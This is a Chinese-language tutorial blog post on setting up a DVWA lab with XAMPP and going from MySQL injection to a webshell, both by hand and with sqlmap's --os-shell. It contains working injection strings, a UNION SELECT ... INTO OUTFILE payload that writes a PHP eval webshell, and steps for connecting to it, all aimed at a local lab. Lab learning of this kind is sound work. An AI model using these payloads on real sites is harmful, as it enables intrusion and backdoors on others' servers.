您好,登錄后才能下訂單哦!
如何從MySql注入到GetShell搭建dvwa環境,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
有一天之前帶我的師傅說給你網站,幫忙做下滲透,于是我經過一番測試,發現了暴力破解,還有一些驗證繞過的邏輯漏洞,匆匆寫了報告交差,師傅一頓夸之后說他自己通過注入getshell了一個同C段的網站,我說我C段掃描時候并沒有發現這個IP啊(挫敗感之下的借口),然后我說我如果能發現這個系統應該也能getshell,師傅的一句話有點觸及到我的那啥(你估計應該不會通過mysql注入getshell)。
是啊,在項目上的系統每周每個月經過幾十遍的過濾,平時看到提交參數的地方也就sqlmap跑一跑,對于最基礎的手工注入都沒有扎實的學會,于是我決定要知道如何搭建環境并學會如何通過 mysql 到 getshell。
通過查資料,總結出了這篇文章,把自己心路歷程寫出來分享給初學者也希望能得到大牛的指正,希望入門級玩家能共勉,自己多創建學習的環境,多思考。
在剛開始學習的時候,就是通過搭建DVWA學習各種漏洞,sql注入,xss,文件上傳等等,所以在想到如何搭建一個存在注入的環境時候,腦海中立刻有了這個想法,我們看到的教程往往只會介紹如何通過高中低的安全級別進行漏洞的復現,那為什么不可以通過注入進行getshell呢,所以我立刻搭建了環境準備嘗試一下。
STEP 1 準備好需要的文件,在網上都可以免費下載的到
1)Xampp集成環境
2)Dvwa壓縮包
STEP 2 點擊安裝并啟動xampp,其中可能在開啟apache時會出現錯誤,此時需要通過修改config文件把端口改成未占用的端口即可,我這里就改為4433 與8081。
把dvwa解壓并放到xampp目錄下的htdoc目錄下
STEP 3 此時環境已經搭建完畢,訪問登陸,就可以看到各種各樣的漏洞環境。
參考:站內及網上有關于搭建環境的詳細介紹,如按照上述步驟不能搭建成功,可自行搜索解決問題。
鏈接:http://www.freebuf.com/sectool/102661.html
手工注入到getshell思路:
1)判斷是否有注入,注入是字符型還是數字型;
2)然后利用sql語句來進行操作磁盤文件(mysql數據庫讀取磁盤文件是非常簡單的,因為mysql提供了load_file()等函數,如果把數據庫與網站裝在同服務器上,就很容易被寫入webshell)。
STEP 1輸入1,查詢成功
輸入1'and '1 '='2,查詢失敗,返回為空
輸入1'or '1234 '='1234,查詢成功,說明存在注入
我們通過查看源代碼功能,看一下在low級別中是如何進行數據庫查詢的
我們把我們剛才注入成功的語句拼接到sql查詢語句中進行分析
原理其實很簡單,就是通過一個條件語句判斷,如果where后面的條件語句為真,就可以進行查詢,如果條件判斷為假,就為錯,不返回任何結果。在高中我們學習條件語句的時候就知道在進行or運算的時的規則:
STEP 2 SQL語句只union查詢
大多數的SQL查詢只包含從一個或多個表中返回數據的單條SELECT語句(比如說我們在id處輸入1,就會返回一個結果),但是SQL也允許執行多個查詢(多條SELECT語句),并將結果作為一個查詢結果集返回。這些組合查詢通常稱為并或復合查詢,一般常見的數據庫有都支持UNION查詢,使用UNION很簡單,所要做的只是給出每條SELECT語句,然后再每條SELECT語句之間加上UNION關鍵字,這樣所給出的SELECT結果集就能組合成一個結果集并返回。
1)我們在id處輸入1 ,返回一個結果
2)在id處輸入1' union select 1,2',可以看出,我們在數據庫中執行了兩次select查詢
并同時返回了兩個結果
STEP 3 利用union查詢執行mysql所帶有的函數,對磁盤文件進行操作
1)我們輸入1' union select 1,'<?php @eval($_POST['pass']) ?>' into outfile 'C:/xampp/htdocs/dvwa/1.php' # 使用into outfile 寫入一句話木馬,文件名為1.php,發現報錯了,查找原因。
2)通過報錯信息可以看到應該說是單引號閉合的問題,因為前段時間在學python,所以決定把一句話木馬里的單引號改成雙引號試一試
1' union select 1,'<?php @eval($_POST["pass"]) ?>' into outfile 'C:/xampp/htdocs/dvwa/1.php' # (剛才開始不知道sql語句中單引號里要用雙引號,簡直折磨啊,各種用單引號進行閉合,各種報錯,各種頭鐵嘗試,我甚至以為是不是我沒有權限進行寫入文件,錯誤的懷疑人生。)
3)沒有報錯信息了,成功了?查看目錄,果然有了1.php文件,趕緊上菜刀(舒服啊,雖然沒有真實環境那么開心,但是畢竟也算是利用成功了)
手工測試到這里就結束了,像我這種工具狗,肯定想辦法用工具來解決。
最常見的利用發現sql注入的方式就是sqlmap了,做滲透測試的人手一本,知道存在sql注入,上來就拿過來跑一跑
STEP1 :發現注入,并且實現
URL:http://127.0.0.1:8081/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#,哇X,結果竟然失敗了,通過下圖的sqlmap中報的302信息中可以看到在進行測試時是跳轉到了登陸界面,原來用sqlmap測試是需要登陸的。
一番操作,知道要添加cookie進行測試,成功啦。
STEP 2:利用sqlmap中os-shell 參數繼續進行攻擊(–os-shell 也就是從注入點獲得一個交互式的shell,給我們提供了一個環境可以執行一定的系統命令,講白了也就是類似于在windows下的cmd)。
STEP 3: 根據具體系統的環境來選擇語言,Dvwa用的是php,自然就選擇php,然后選擇2自定義上傳位置。此處想要獲得shell,就必須知道網站的絕對路徑。(C:\xampp\htdocs\dvwa中的路徑分隔符\在windows下需要在加上\進行轉譯)。
STEP 4 :可以看到獲得了os-shell,并且在網站目錄下上傳了兩個php格式的文件,我們對這兩個文件進行訪問,可看到給我們提供了上傳點,通過上傳點進行木馬文件的上傳。
STEP 5: 利用此上傳點上傳2.php,內容為php一句話木馬(熟悉php的可以自己寫,不熟悉的可以百度),然后通過菜刀進行連接,獲得shell。
自己的學習探索過程遠遠不止這些,因為在搭建環境包括在利用漏洞的時候都會出現各種各樣的問題,都需要通過不斷的探索去解決,比如說在手工進行注入的時候甚至因為單引號是中文的還是英文的吃過虧,還有如何進行單引號閉合,進行sqlmap進行攻擊的時候需要添加cookie,在獲得os-shell時候需要加反斜杠進行轉譯等等...,一次一次的錯誤,一次一次的解決,不放棄靜下心來解決問題,學習的過程就是如此,包括平時的滲透也是如此,需要耐下心來慢慢的摸索,在摸索的過程中不斷提升自己的技術,不斷的成長,畢竟大牛也不是一天練成的。
1)環境為搭建的環境,權限較高,也沒有防火墻、waf等安全設備的防護,不會出現被攔截等情況,真實的環境往往需要躲過一重又一重的防護。
2)文章中未涉及linux下的攻擊利用方式,因為os-shell一直是一個吐槽的點,這需要注入點有多大的權限啊,有這個權限,我還需要這個操作么之類的?其中在linux就因為權限的問題沒有解決,所以沒有利用成功,同時看了大牛的文章什么監聽反彈shell之類的也是有點懵的。
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。